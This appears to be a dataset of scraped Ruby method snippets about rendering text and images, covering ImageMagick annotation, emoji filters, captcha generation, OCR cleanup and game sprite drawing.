"def to_textile\n @emoticons.each do |regexp, image|\n @string.gsub!(Regexp.new(\"(^|\\s)(#{regexp})(\\s|$)\"), \" !#{@options[:images_path]}#{@options[:theme]}/#{image}! \")\n end\n @options[:extras].each do |regexp, image|\n @string.gsub!(Regexp.new(\"(^|\\s)(#{regexp})(\\s|$)\"), \" !#{@options[:images_path]}extras/#{image}! \")\n end\n @string\n end",
"def ajouterImage(image,position)\r\n\t\tposition = @justification[position]\r\n\t\t\r\n\t\t@word.Selection.ParagraphFormat.Alignment = position\r\n\t\t\r\n\t\t@word.Selection.InlineShapes.AddPicture(\r\n\t\t\tfileName = image,\r\n\t\t\tlinkToFile = false,\r\n\t\t\tsaveWithDocument = true\r\n\t\t)\r\n\tend",
"def make_badge( badge_text, deal )\n\n badge_text = badge_text.gsub('\"', \"\").gsub(\"'\", \"\").strip # take out single and double ticks\n badge_text = \"'\" << badge_text << \"'\" # enclose in single ticks\n badge_text = badge_text.gsub(\"$\", \"\\\\$\").gsub(\"/\", \"\") # take out forward and backslashes\n\n # img = MiniMagick::Image.open(\"public/images/yellow_starburst.jpg\")\n img = MiniMagick::Image.open(\"app/assets/images/yellow_starburst.jpg\")\n\n img.combine_options do |c|\n c.resize \"#{Victoria::Application::BADGE[0]}x#{Victoria::Application::BADGE[1]}\" # \"75x75\"\n c.gravity \"Center\"\n c.antialias\n c.font \"helvetica italic\"\n c.pointsize \"18\"\n c.draw \"text 0,0 #{badge_text}\" # 0,0 = x,y coords\n c.fill(\"#000000\")\n end\n # badge_path = \"badges/badge_#{deal.id}.jpg\"\n badge_path = \"badge_#{deal.id}.jpg\"\n deal.update_attribute(:badge_path, badge_path)\n # img.write(\"public/images/#{badge_path}\")\n img.write(\"app/assets/badges/#{badge_path}\")\n # returns \"app/assets/images/badges/badge_21.jpg JPEG 145x150 145x150+0+0 8-bit DirectClass 11.6KB 0.000u 0:00.010 \"\n end",
"def build_label(text)\n shading = false\n\n label = Magick::Image.new(@options[:width], @options[:height])\n image = Magick::Draw.new\n image.gravity = Magick::CenterGravity\n image.pointsize = @options[:width] / 4\n image.font = 'Helvetica'\n image.font_weight = Magick::NormalWeight\n image.stroke = 'none'\n image.annotate(label, 0, 0, 0, 0, text)\n label = label.shade(shading, 310, 30)\n\n return label\n end",
"def line_image\n \"%s%s%s %s%s%s %s%s%s\" % POT.collect{ |i| own(i) }\n end",
"def link_text(object)\n if object.file_content_type =~ /image/i\n image_tag( object.file.url(:icon) ) +\n \"<br /><br />\".html_safe +\n object.file_file_name.truncate(80)\n else\n object.file_file_name.truncate(80)\n end\n end",
"def generate(options = {})\n options.reverse_merge!(\n :fontsize => 25,\n :padding => 20,\n :color => '#000',\n :background => '#fff',\n :fontweight => 'bold',\n :rotate => true,\n :font => config['font']\n ).symbolize_keys!\n\n options[:fontweight] = case options[:fontweight]\n when 'bold' then 700\n else 400\n end\n \n text = Magick::Draw.new\n text.pointsize = options[:fontsize]\n text.font_weight = options[:fontweight]\n text.fill = options[:color]\n text.gravity = Magick::CenterGravity\n text.font = options[:font] if options[:font]\n \n #rotate text 5 degrees left or right\n text.rotation = (rand(2)==1 ? 5 : -5) if options[:rotate]\n \n metric = text.get_type_metrics(self.string)\n\n #add bg\n canvas = Magick::ImageList.new\n canvas << Magick::Image.new(metric.width+options[:padding], metric.height+options[:padding]){\n self.background_color = options[:background]\n }\n\n #add text\n canvas << Magick::Image.new(metric.width+options[:padding], metric.height+options[:padding]){\n self.background_color = 'transparent'\n }.annotate(text, 0, 0, 0, 0, self.string).wave(1, 50)\n\n #add noise\n canvas << Magick::Image.new(metric.width+options[:padding], metric.height+options[:padding]){\n p = Magick::Pixel.from_color(options[:background])\n p.opacity = Magick::MaxRGB/2\n self.background_color = p\n }.add_noise(Magick::LaplacianNoise)\n\n self.image = canvas.flatten_images.blur_image(1)\n end",
"def add_text(x, y, width, height, str, align = 0, outlinesize = Text::Util::DEFAULT_OUTLINE_SIZE, type: Text, color: 0)\n sprite_stack.add_text(x, y, width, height, str, align, outlinesize, type: type, color: color)\n end",
"def draw\n\t\tdraw_background\n\t\t@img.draw(@x+1, \n\t\t\t\t @y+1, \n\t\t\t\t @z, \n\t\t\t\t 1, # Default scale_x \n\t\t\t\t 1, # Default scale_y \n\t\t\t\t @text_colour)\n\tend",
"def diswimage(image_text)\n image_options = image_text.gsub(/#/, '').gsub(/diswimage:/, '').split(':')\n image_title = image_options[0]\n image_extension = image_options[1]\n option_count = image_options[2]\n image_width = image_options[3]\n return \"!{width: #{image_width}px}http://doitidiot.s3.amazonaws.com/#{image_title}-#{rand(option_count)+1}.#{image_extension}!\"\n end",
"def display_all_alternative_text_images\n # Interface method\n end",
"def create\n @txt = Txt.new(params[:txt])\n\n \n respond_to do |format|\n if @txt.save\n \n # long text parser \n $KCODE='utf8'\n require 'jcode'\n d_str =''\n @txt.longtext.each {|s_str| \n while s_str.jsize > NUM_WORD_PER_LINE\n tmp_str = s_str.scan(/./)[0,NUM_WORD_PER_LINE].join\n d_str += tmp_str + \"\\n\\n\"\n s_str = s_str[tmp_str.size,s_str.size-tmp_str.size]\n if s_str == nil then break end\n #puts s_str.jsize \n end\n if s_str!=nil then d_str += s_str end\n d_str += \"\\n\"\n }\n \n #--- path and name. to be config/updated in new environments\n font_path = 'D:\\\\fonts'\n images_path = \"public/images\"\n output_path = 'public/images/outputs'\n bg_image_path = images_path + \"/\"+ \"background.png\"\n\n require 'find'\n # do the same thing for each available fonts\n Find.find(font_path) do |f|\n img = Magick::Image.read(bg_image_path).first #图片路径\n src_img = Magick::Image.read(images_path+'/user_image.JPG').first # to be replaced with user's picture url\n src_img.crop_resized!(320,320) # 照片的目标尺寸\n src_img.border!(10, 10, \"#f0f0ff\") #相框的颜色,宽度\n frame_img = Magick::Image.read(images_path+'/frame.png').first # picture frame\n frame_img.composite!(src_img, 0, 0, Magick::OverCompositeOp)\n img.composite!(frame_img, 20, 20, Magick::OverCompositeOp)\n \n gc= Magick::Draw.new\n gc.annotate(img, 0, 0, 420, 50, d_str) do #可以设置文字的位置,参数分别为路径、宽度、高度、横坐标、纵坐标\n #self.gravity = Magick::CenterGravity\n self.font = f\n self.pointsize = FONT_SIZE #字体的大小\n self.fill = '#fff' #字体的颜色\n self.stroke = \"none\"\n end \n font_file_name = File.basename(f, 'ttf')\n file_path = output_path + \"/\"+ @txt.image_url + \"_\" + font_file_name + \"png\" \n img.write(file_path) \n end\n \n #@path = file_name\n format.html { redirect_to(@txt, :notice => 'Txt was successfully created.') }\n format.xml { render :xml => @txt, :status => :created, :location => @txt }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @txt.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def image(key, image_path)\n # Idea from here http://itext.ugent.be/library/question.php?id=31 \n # Thanks Bruno for letting me know about it.\n img = @image_class.getInstance(image_path)\n img_field = @form.getFieldPositions(key.to_s)\n\n \n rect = @rectangle.new(img_field[1], img_field[2], img_field[3], img_field[4])\n img.scaleToFit(rect.width, rect.height)\n img.setAbsolutePosition(\n img_field[1] + (rect.width - img.getScaledWidth) / 2,\n img_field[2] + (rect.height - img.getScaledHeight) /2\n )\n\n cb = @stamp.getOverContent(img_field[0].to_i)\n cb.addImage(img)\n end",
"def add_image(pic, img_loc_text, stock_images=nil)\n pic.photo = File.open(Rails.root.join('db', 'images', get_stock_image(img_loc_text, stock_images)))\n pic\n end",
"def output_image\r\n @image.each do |cell|\r\n puts cell.join\r\n end\r\n end",
"def emoji_image_filter(text)\n return text unless text.include?(':')\n\n text.gsub(emoji_pattern) do |match|\n name = $1\n \"<img class='emoji' title=':#{name}:' alt=':#{name}:' src='#{emoji_url(name)}' height='20' width='20' align='absmiddle' />\"\n end\n end",
"def draw\n Gosu.draw_rect(@xpos, @ypos, @width, @height, Gosu::Color.argb(0xff_000000))\n for i in 0..2\n if(@text[i] != nil) \n @text[i].draw(@xpos + 10, @ypos + @height - (i + 1)* (@text[i].getImage().height + 2) -3)\n end\n end \n end",
"def generate_label(string, options = {})\n merge_label_options!(options)\n \n text_image = ImMagick::convert.autosize.background(:background).gravity(:gravity)\n text_image.font(:font).pointsize(:pointsize).fill(:fill).label(:label).bordercolor(:background).border(:padding)\n final_image = text_image.instance.gravity(:gravity).extent(:extent)\n\n final_image.transparent(:background) if options[:alpha] && content_type == :gif\n options[:background] = :transparent if options[:alpha] && content_type == :png\n\n info = text_image.run(options.merge(:label => string)).info\n options[:height] = info[:height] if options[:height] == :auto\n extent = \"#{info[:width]}x#{options[:height]}\"\n final_image.quiet.run(options.merge(:label => string, :autosize => info[:dimensions], :extent => extent))\n end",
"def draw_ori( image, x_coord, y_coord )\n origin = Magick::Draw.new\n pointsize = @font_size\n\n origin.annotate( image, @text_width * \"ori\".length, @text_height, x_coord, y_coord - @text_height, \"ori\" ) do\n self.gravity = Magick::CenterGravity\n self.font_weight = Magick::BoldWeight\n self.fill = \"black\"\n self.pointsize = pointsize\n end\n\n return image\n end",
"def add_image(data)\n regex = /(?<=ppageno\\s0'>)/\n data.gsub(regex) {\"\\n<img src='/page_images/#{self.filename}.jpg'>\"}\n end",
"def to_tex\n q_url = \"http://dream.misasa.okayama-u.ac.jp/?q=\"\n basename = File.basename(image.name,\".*\")\n lines = []\n lines << \"\\\\begin{overpic}[width=0.49\\\\textwidth]{#{basename}}\"\n lines << \"\\\\put(1,74){\\\\colorbox{white}{(\\\\sublabel{#{basename}}) \\\\href{#{q_url}#{image.global_id}}{#{basename}}}}\"\n lines << \"%%(\\\\subref{#{basename}}) \\\\nolinkurl{#{basename}}\"\n lines << \"\\\\color{red}\"\n\n surface.surface_images.each do |osurface_image|\n oimage = osurface_image.image\n #image_region\n opixels = oimage.spots.map{|spot| [spot.spot_x, spot.spot_y]}\n worlds = oimage.pixel_pairs_on_world(opixels)\n pixels = image.world_pairs_on_pixel(worlds)\n oimage.spots.each_with_index do |spot, idx|\n length = image.length\n height = image.height\n x = \"%.1f\" % (pixels[idx][0] / length * 100)\n y = \"%.1f\" % (height.to_f / length * 100 - pixels[idx][1] / length * 100)\n line = \"\\\\put(#{x},#{y})\"\n line += \"{\\\\footnotesize \\\\circle{0.7} \\\\href{#{q_url}#{spot.target_uid}}{#{spot.name}}}\"\n line += \" % #{spot.target_uid}\" if spot.target_uid\n line += \" % \\\\vs(#{(\"%.1f\" % worlds[idx][0])}, #{(\"%.1f\" % worlds[idx][1])})\"\n lines << line\n end\n end\n\n width_on_stage = image.transform_length(image.width / image.length * 100)\n scale_length_on_stage = 10 ** (Math::log10(width_on_stage).round - 1)\n scale_length_on_image = image.transform_length(scale_length_on_stage, :world2xy).round\n lines << \"%%scale #{(\"%.0f\" % scale_length_on_stage)}\\ micro meter\"\n lines << \"\\\\put(1,1){\\\\line(1,0){#{(\"%.1f\" % scale_length_on_image)}}}\"\n\n lines << \"\\\\end{overpic}\"\n\n lines.join(\"\\n\")\n end",
"def output_image\n @image.each do |image|\n puts image.join(' ')\n end\n end",
"def text=(string)\n string = string.to_s\n @text_string = string\n display_string = string.length == 0 ? ' ' : string\n @image = @font.render(display_string, true, @fgcolor)\n @rect = Rubygame::Rect.new unless @rect\n @rect.size = [@image.w,@image.h]\n end",
"def output_image\n @image_array.each do |e|\n puts e.join\n end\n end",
"def draw_custom_image\r\r\n bitmap = Cache.picture($game_map.ach_display.graphic)\r\r\n rect = Rect.new(0,0,bitmap.width,bitmap.height)\r\r\n target = Rect.new(0,0,contents.width,contents.height)\r\r\n contents.stretch_blt(target, bitmap, rect, 255)\r\r\n end",
"def render(char, color = @options[:color], size = @options[:size])\n img = Magick::Image.new(size.to_i, size.to_i, Magick::HatchFill.new('transparent', 'transparent'))\n\n draw = Magick::Draw.new\n\n char = convert_to_unicode(char)\n \n draw.font = @font.to_s\n draw.interline_spacing = 0\n draw.pointsize = size.to_i\n draw.gravity = Magick::CenterGravity\n draw.fill = color\n draw.text_antialias = true\n\n draw.annotate(img, 0, 0, 0, 0, char)\n \n img\n end",
"def create_image(image_src, caption)\n image_path = Bread::Basket::Poster.dir_path + '/' + image_src\n @columns_width = layout.columns[0].width\n pdf.image image_path, width: @columns_width, position: :center\n pdf.move_down 15\n draw_caption(caption)\n end",
"def draw_text_icon(line, string, graphic_name)\n return if line <= 0\n draw_icon(line, graphic_name)\n y = 32 * line - 32\n self.contents.draw_text(35, y, @width, 32, string)\n end",
"def image(key, image_path, options = {})\n # Idea from here http://itext.ugent.be/library/question.php?id=31 \n # Thanks Bruno for letting me know about it.\n img = Image.get_instance(image_path)\n coords = @form.get_field_positions(key.to_s)\n rect = coords[0].position\n img.set_absolute_position(rect.left, rect.bottom)\n img.scale_to_fit(rect)\n image_content = @stamp.get_over_content(options.fetch(:page, 1))\n image_content.add_image(img)\n end",
"def clean_img\n\t\t\tname = 'simple-ocr'\n\t\t\tg = Gem::Specification.find_by_name(name)\n\t\t\t`sh #{File.join(g.full_gem_path, 'lib/textcleaner')} -g -e stretch -f 25 -o 20 -t 30 -u -s 1 -T -p 20 '#{@image}' '#{@clean_image}'`\n\t\tend",
"def placeholder_image(text, args={})\n image = Dragonfly::App[:images].generate(:text, text, { color: \"#fff\", background_color: \"#ccc\", padding: '200' })\n image.process(:crop, { width: 100, height: 100, gravity: \"c\" }.merge(args))\n end",
"def placeholder_image(text, args={})\n image = Dragonfly::App[:images].generate(:text, text, { color: \"#fff\", background_color: \"#ccc\", padding: '200' })\n image.process(:crop, { width: 100, height: 100, gravity: \"c\" }.merge(args))\n end",
"def text=(string)\n string = string.to_s\n if(string.size <= 0)\n string = 'X'\n end\n @text_string = string\n @txt_image = @font.render(string, true, @fgcolor)\n full_width = @txt_image.w + @border_thickness * 2 + 2\n full_height = @txt_image.h + @border_thickness * 2 + 2\n @image = Rubygame::Surface.new( [full_width, full_height])\n @image.fill(@bgcolor) if @enabled\n @image.fill(@disabled_color) unless @enabled\n (1..@border_thickness).each do |offset|\n @image.draw_box([offset-1,offset-1], \n [@image.w-offset, @image.h-offset], @border)\n end\n @txt_image.blit(image, [@border_thickness+1, @border_thickness+1])\n if @rect\n @rect.size = [@image.w, @image.h]\n else\n @rect = Rubygame::Rect.new([0, 0, @image.w, @image.h])\n end\n end",
"def attach_image_to_glossary_term(image = nil)\n if image &&\n @object.add_image(image) &&\n @object.save\n image.log_reuse_for(@object)\n redirect_with_query(glossary_term_path(@object.id))\n else\n flash_error(:runtime_no_save.t(:glossary_term)) if image\n render(:reuse,\n location: reuse_images_for_glossary_term_path(params[:img_id]))\n end\n end",
"def test_png_text_metadata\n\n keywords = [\"Title\", \"Author\", \"Copyright\", \"Description\", \"Software\", \"Disclaimer\"]\n\n each_file_with_updated_info do\n |file_path|\n\n #Valid png with text metadata\n if @test_feature == \"c\" && @parameter[0] == \"t\"\n\n img = Imgrb::Image.new(file_path, :only_metadata)\n\n text_type = @parameter[1]\n if text_type == \"0\"\n assert img.texts.empty?, \"Image does not contain text metadata, but img.texts is not empty!\"\n elsif text_type == \"1\" || text_type == \"z\"\n assert_equal 6, img.texts.size\n img.texts.each do\n |txt|\n assert keywords.include? txt.keyword\n assert txt.text.length > 0\n end\n #img.texts.each{|txt| txt.report}\n elsif text_type == \"e\"\n assert_equal 6, img.texts.size\n img.texts.each do\n |txt|\n assert txt.international?\n assert_equal \"en\".force_encoding(\"646\"), txt.language\n assert keywords.include? txt.keyword\n assert_equal txt.translated_keyword, txt.keyword\n assert txt.text.length > 0\n end\n elsif text_type == \"f\"\n assert_equal 6, img.texts.size\n img.texts.each do\n |txt|\n assert txt.international?\n assert_equal \"fi\".force_encoding(\"646\"), txt.language\n assert keywords.include? txt.keyword\n assert txt.translated_keyword.length > 0\n assert txt.text.length > 0\n end\n elsif text_type == \"g\"\n assert_equal 6, img.texts.size\n img.texts.each do\n |txt|\n assert txt.international?\n assert_equal \"el\".force_encoding(\"646\"), txt.language\n assert keywords.include? txt.keyword\n assert txt.translated_keyword.length > 0\n assert txt.text.length > 0\n end\n elsif text_type == \"h\"\n assert_equal 6, img.texts.size\n img.texts.each do\n |txt|\n assert txt.international?\n assert_equal \"hi\".force_encoding(\"646\"), txt.language\n assert keywords.include? txt.keyword\n assert txt.translated_keyword.length > 0\n assert txt.text.length > 0\n end\n elsif text_type == \"j\"\n assert_equal 6, img.texts.size\n img.texts.each do\n |txt|\n assert txt.international?\n assert_equal \"ja\".force_encoding(\"646\"), txt.language\n assert keywords.include? txt.keyword\n assert txt.translated_keyword.length > 0\n assert txt.text.length > 0\n end\n end\n end\n end\n\n end",
"def make_emoticon image, alt\n '<img src=\"' << escape_html(\"/emoticons/#{image}.png\") << '\" alt=\"' << escape_html(alt) << '\" title=\"' << escape_html(alt) << '\"/>'\n end",
"def add_text(text)\n return if text.empty?\n\n if text.frozen?\n text = text.gsub(/['\\\\]/, '\\\\\\\\\\&')\n else\n text.gsub!(/['\\\\]/, '\\\\\\\\\\&')\n end\n\n with_buffer{@src << \" << '\" << text << @text_end}\n end",
"def generate\n MiniMagick::Tool::Convert.new do |i|\n i.font random_font\n i.size image_size\n i.pointsize config[:font_size]\n i.fill config[:font_color]\n i.gravity \"center\"\n i.canvas config[:background]\n i.draw \"text 0,0 '#{text}'\"\n i.noise + \"Gaussian\"\n i << \"#{config[:format]}:-\"\n end\n end",
"def image\n lambda do |text|\n begin \n hash = parse_text(text)\n image = find_image(hash)\n src = get_image_src(hash, image)\n\n unless image.nil?\n engine = gen_haml('image.haml')\n engine.render(nil, {:src => src, :id => hash['id'], :class_name => hash['class'], :alt => hash['alt'], :title => hash['title'], :itemprop => hash['itemprop'], :height => hash['height'], :width => hash['width']})\n end\n rescue NoMethodError => e\n Rails.logger.error \"#{e} could not find image with the params: #{text}\"\n end\n end\n end",
"def draw(text, x, y, align, base_color = Color.new(255,255,255), shadow_color = nil, outline = false)\n self.bmp.draw(text, x, y, align, base_color, shadow_color, outline)\n end",
"def Process(text)\n text.to_str.gsub(/:\\(?([a-z0-9\\+\\-_]+)\\)?:/) do |match|\n\t \n # checks, if user wanted an animated smiley or not\n animated = false\n if (match.include?('(') && match.include?(')'))\n animated = true\n end\n\n # proposed image path, if image is locally available\n\tif animated\n local_image = File.join(Dir.pwd, 'public', 'smileys', 'animated', $1 + '.gif')\n else\n local_image = File.join(Dir.pwd, 'public', 'smileys', 'general', $1 + '.png')\n end\n\n # returns image tag, if image locally exists\n if File.exist?(local_image)\n ImageTag($1, animated)\n\n # image doesn't exists locally\n else\n # stores the image and returns image tag, if smiley is valid\n if SmileyExist($1, animated)\n ImageStore($1, animated)\n ImageTag($1, animated)\n else\n if animated\n '('+$1+')'\n else\n ':'+$1+':'\n end\n end\n end\n\n end\n end",
"def make\n Paperclip.log(\"*********** Label Thumbnail Processor...\")\n dst = Tempfile.new([@basename, @format].compact.join(\".\"))\n dst.binmode\n\n # first create the name text image\n nameImg = createText(name, \"72\", \"\")\n\n # next create the description text image\n descImg = createText(description, \"36\", \"800x\")\n\n # next create the blend text image\n blendImg = createText(blend, \"72\", \"\")\n\n # now composite name text onto comp\n comp = compositeFiles(nameImg, @file, \"820x100!+40+40\")\n\n # now composite blend text onto comp\n comp2 = compositeFiles(blendImg, comp, \"810x50!+50+1050\")\n\n #now composite the description onto the dst\n dst = compositeFiles(descImg, comp2, \"820x300+50+865\")\n\n if generate_tin_image\n dst = compositeFiles(dst, tin_path, \"332x436!+234+139\")\n dst = compositeFiles(tin_fade_path, dst, \"800x800!+0+0\")\n end\n \n dst\n end",
"def single_image\n page_number = 1\n\n input_image_path = \"/Users/kyle/Dropbox/code/kyletolle/handwriting_transcription/page#{page_number}.jpg\"\n image = Magick::Image.read(input_image_path)[0]\n json_path =\"/Users/kyle/Dropbox/code/kyletolle/handwriting_transcription/output-#{page_number}-to-#{page_number}.json\"\n json_text = File.read(json_path)\n json = JSON.parse(json_text)\n\n bounding_box = json[\"responses\"].first[\"textAnnotations\"][1][\"boundingPoly\"]\n vertices = bounding_box[\"vertices\"]\n\n draw = Magick::Draw.new\n\n # For drawing boxes around all words.\n # text_annotations = json[\"responses\"].first[\"textAnnotations\"][1..-1]\n # text_annotations.each do |text_annotation|\n # bounding_box = text_annotation[\"boundingPoly\"]\n # vertices = bounding_box[\"vertices\"]\n\n # p1 = [ vertices[0]['x'], vertices[0]['y'] ]\n # p2 = [ vertices[1]['x'], vertices[1]['y'] ]\n # p3 = [ vertices[3]['x'], vertices[3]['y'] ]\n # p4 = [ vertices[2]['x'], vertices[2]['y'] ]\n\n # draw.line(p1[0],p1[1], p2[0], p2[1])\n # draw.line(p1[0],p1[1], p3[0], p3[1])\n # draw.line(p2[0],p2[1], p4[0], p4[1])\n # draw.line(p3[0],p3[1], p4[0], p4[1])\n # end\n\n # For drawing colored boxes around all symbols\n\n confidence_symbols_to_colors = {\n very_confidence: '#BED1D8',\n moderately_confidence: '#FFAE03',\n sort_of_confidence: '#E67F0D',\n low_confidence: '#E9190F'\n }\n\n numbers_to_confidence_symbols = {\n 80..100 => :very_confidence,\n 50..80 => :moderately_confidence,\n 31..50 => :sort_of_confidence,\n 0..30 => :low_confidence\n }\n\n pages = json[\"responses\"].first[\"fullTextAnnotation\"]['pages']\n blocks = pages.map{|p| p['blocks'] }.flatten.compact\n paragraphs = blocks.map{|b| b['paragraphs'] }.flatten.compact\n words = paragraphs.map{|p| p['words'] }.flatten.compact\n symbols = words.map{|w| w['symbols'] }.flatten.compact\n symbol_total = symbols.count\n symbols.each.with_index do |symbol, index|\n puts \"Processing symbol #{index} of #{symbol_count}\"\n bounding_box = symbol[\"boundingBox\"]\n vertices = bounding_box[\"vertices\"]\n confidence_number = (symbol['confidence'] * 100).to_i\n confidence_symbol = numbers_to_confidence_symbols.select{|n| n === confidence_number }.values.first\n color = confidence_symbols_to_colors[confidence_symbol]\n\n draw.stroke(color)\n draw.stroke_width(5)\n\n p1 = [ vertices[0]['x'], vertices[0]['y'] ]\n p2 = [ vertices[1]['x'], vertices[1]['y'] ]\n p3 = [ vertices[3]['x'], vertices[3]['y'] ]\n p4 = [ vertices[2]['x'], vertices[2]['y'] ]\n\n draw.line(p1[0],p1[1], p2[0], p2[1])\n draw.line(p1[0],p1[1], p3[0], p3[1])\n draw.line(p2[0],p2[1], p4[0], p4[1])\n draw.line(p3[0],p3[1], p4[0], p4[1])\n\n draw.draw(image)\n end\n output_image_path = \"/Users/kyle/Dropbox/code/kyletolle/handwriting_transcription/page#{page_number}.5px.symbols.jpg\"\n image.write(output_image_path)\nend",
"def create\n @text2_image = Text2Image.new(params[:text2_image])\n \n @text2_image.create_image(params[:text2_image][:text])\n\n respond_to do |format|\n if @text2_image.save\n\n format.html { redirect_to @text2_image, notice: 'Text2 image was successfully created.' }\n format.json { render json: @text2_image, status: :created, location: @text2_image }\n else\n format.html { render action: \"new\" }\n format.json { render json: @text2_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_text! (text, xoff, yoff, width, height, font, size, html_color, align=:left)\n color = Color::RGB.from_html(html_color)\n cmd = (align == :center) ? \"ZC\" : \"ZA\"\n parts = [URI.escape(text), xoff, yoff, width, height, font, size].map {|x| x.to_s} +\n [color.r, color.g, color.b].map {|c| (c*255).to_i }\n cmd << parts.join(\",\")\n @transforms << cmd\n self\n end",
"def draw_text(xp, yp, step, strs, draw, canvas) # xp,yp is X,Y position. draw is the drawing method, canvas is where to draw on\n for str in strs\n yp = yp + step\n draw.annotate(canvas,647,600,xp,yp,str){\n draw.fill = '#ddd'\n draw.stroke = 'transparent'\n draw.pointsize = 20\n # self.font = \"BS.ttf\" \n draw.font = $config[\"fonts\"][3] \n }\n end\n return yp\nend",
"def output_image\r\n # loop continues through each Row and outputs content\r\n @array.each do |row|\r\n puts row.join\r\n end\r\n end",
"def format_base64_images(text, id)\n\n matchString = /src=\"data:image\\/(\\w+?);base64,(.*?)\"/\n matches = text.scan(matchString)\n matches.each_with_index do |(mimetype, b64), ix|\n\n unless b64.nil?\n filename = 'post' + id.to_s + '-' + ix.to_s + '.' + mimetype\n fullfilespec = \"#{Rails.public_path}/#{filename}\"\n File.open(fullfilespec, 'wb') do |f|\n f.write(Base64.decode64(b64))\n end\n text.sub!(matchString, \"src='#{filename}'\")\n end\n\n end\n text\n end",
"def text(section_type: :default)\n img = @image \n \n # resample if an image 4\"x4\" is less than 300dpi \n if img.columns * img.rows < 144000\n img = img.resample(300)\n end\n \n params = SECTION_PARAMS[:default].merge(SECTION_PARAMS[section_type])\n r = RTesseract.new(img, params) \n @text = r.to_s.strip\n\n if @text == \"\"\n img = img.white_threshold(245)\n r = RTesseract.new(img, params) \n @text = r.to_s.strip\n end\n\n if @text == \"\"\n img = img.quantize(256,Magick::GRAYColorspace)\n r = RTesseract.new(img, params) \n @text = r.to_s.strip\n end\n\n @text\n end",
"def setImage\n str = @pixbuf.pixels\n str.length.times do |i| str[i] = @image_test[@current][i/3] end\n @pixbuf.pixels = str\n @image.pixbuf = @pixbuf.scale(280,280,Gdk::Pixbuf::INTERP_NEAREST)\n set_title(\"MSI, img ##{@current} => #{@label_test[@current]}\")\n if @edge\n edgifyImage\n end\n end",
"def text_with_icon(text, icon_name)\n raw(\"#{icon(icon_name)} #{text}\")\n end",
"def update_img\n @post = Post.find(self.id)\n image = @post.image.url(:gallery)\n image = '/public' + image.gsub(/\\?.*/, '')\n\n if !@post.meme_text.nil?\n if File.exists? Rails.root.to_s + image\n PostsHelper.image_writer(image, @post.meme_text, @post.meme_position)\n end\n end\n end",
"def emoji_image_filter(text)\n text.gsub(emoji_pattern) do |match|\n name = $1\n \"<span class='emoji'>#{emoji_unicode_replacement(name)}</span>\"\n end\n end",
"def disp(text)\n FXDCWindow.new(@image) do |dc|\n text.split(' ').each do |cmd|\n cmd = cmd.split(',')\n if cmd.first == 'L'\n dc.foreground = @colors[cmd[1]].to_i\n dc.drawLine(cmd[2].to_i, cmd[3].to_i + 1, cmd[4].to_i, cmd[5].to_i + 1)\n end\n end\n end\n board_draw\n end",
"def append(text); end",
"def render_image(image)\n id_attr = image.id ? %( id=\"attachment_#{image.id}\") : \"\"\n lines = []\n lines << %(<figure#{id_attr} class=\"image embedded\">)\n lines << %(<div class=\"img\"><img src=\"#{encode(image.url)}\" alt=\"#{encode(image.alt_text)}\"></div>)\n lines << image.figcaption_html if image.figcaption?\n lines << \"</figure>\"\n lines.join\n end",
"def create_bitmap\n @sprite.x, @sprite.y = @x - text_width + 4, @y\n sw = Font.default_size * @info.size / 2\n sw += 25 if @icon_id > 0\n line_height = 24\n @sprite.bitmap = Bitmap.new(sw, line_height)\n if @icon_id > 0\n rect = Rect.new(@icon_id % 16 * 24, @icon_id / 16 * 24, 24, 24)\n @sprite.bitmap.blt(0, 0, Cache.iconset, rect)\n end\n @sprite.bitmap.font.color.set(@color)\n @sprite.bitmap.draw_text(@icon_id > 0 ? 25 : 0, 0, sw, line_height, @info)\n end",
"def add_image \n image = CARMD.image(self.vin)\n if image == \"\"\n image = \"http://clipart-library.com/img/2050778.png\"\n end\n self.auto_image = image \n self.save \n end",
"def draw_internal(align)\n return if @text[align].empty?\n self.bitmap.font.color = @window.textColor\n if @highlight[align]\n text_rect = Rect.new(0,0,self.bitmap.text_size(@text[align]).width+2,\n self.bitmap.height)\n text_rect.x = self.viewport.rect.width/2-text_rect.width/2-2 if align == 1\n text_rect.x = self.viewport.rect.width-text_rect.width-2 if align == 2\n self.bitmap.fill_rect(text_rect,@window.textColor)\n self.bitmap.font.color = @window.bgColor\n end\n self.bitmap.draw_text(self.bitmap.rect,@text[align],align)\n end",
"def generate_inverse_label(string, options = {})\n merge_label_options!(options)\n\n text_image = ImMagick::convert.autosize.background('white').gravity(:gravity)\n text_image.font(:font).pointsize(:pointsize).fill('black').label(:label)\n text_image.bordercolor('white').border(:padding)\n\n final_image = text_image.instance.gravity(:gravity).extent(:extent)\n final_image.sequence { |layer| layer.size(:autosize).canvas(:background).background(:background).extent(:extent) }\n final_image.swap('0,1').alpha(:Off).compose(:Copy_Opacity).composite\n final_image.bordercolor(:transparent).border(:bordersize) if options[:bordersize] > 0\n\n info = text_image.run(options.merge(:label => string)).info\n options[:height] = info[:height] if options[:height] == :auto\n extent = \"#{info[:width]}x#{options[:height]}\"\n final_image.quiet.run(options.merge(:label => string, :autosize => info[:dimensions], :extent => extent))\n end",
"def output_image\r\n\t\tif !(@data.empty?)\r\n\t\t\t@data.each do |row| \r\n\t\t\t\tputs row.join(' ')\r\n\t\t\tend\r\n \r\n\t\telse\r\n\t\t\tputs \"No values supplied.\"\r\n\t\tend\r\n\tend",
"def image_markup(image)\n render_to_string(\n file: 'bootsy/images/_image',\n formats: [:html],\n locals: { image: image },\n layout: false\n )\n end",
"def draw_and_save_image\n\t\tcolor = @avatar[:color]\n\t\tpng = ChunkyPNG::Image.new(250, 250, ChunkyPNG::Color::WHITE)\n\t\tcolor = ChunkyPNG::Color.rgba(color[:r], color[:g], color[:b], color[:alpha])\n\t\t@colorable_grid.each do |points|\n\t\t\tp1 = points[0]\n\t\t\tp2 = points[1]\n\t\t\tpng.rect(p1[0], p1[1], p2[0], p2[1] , color, color)\n\t\tend\n\t\tpng.save(File.join(Dir.pwd, \"/#{@term}.png\"), :interlace => true)\n\tend",
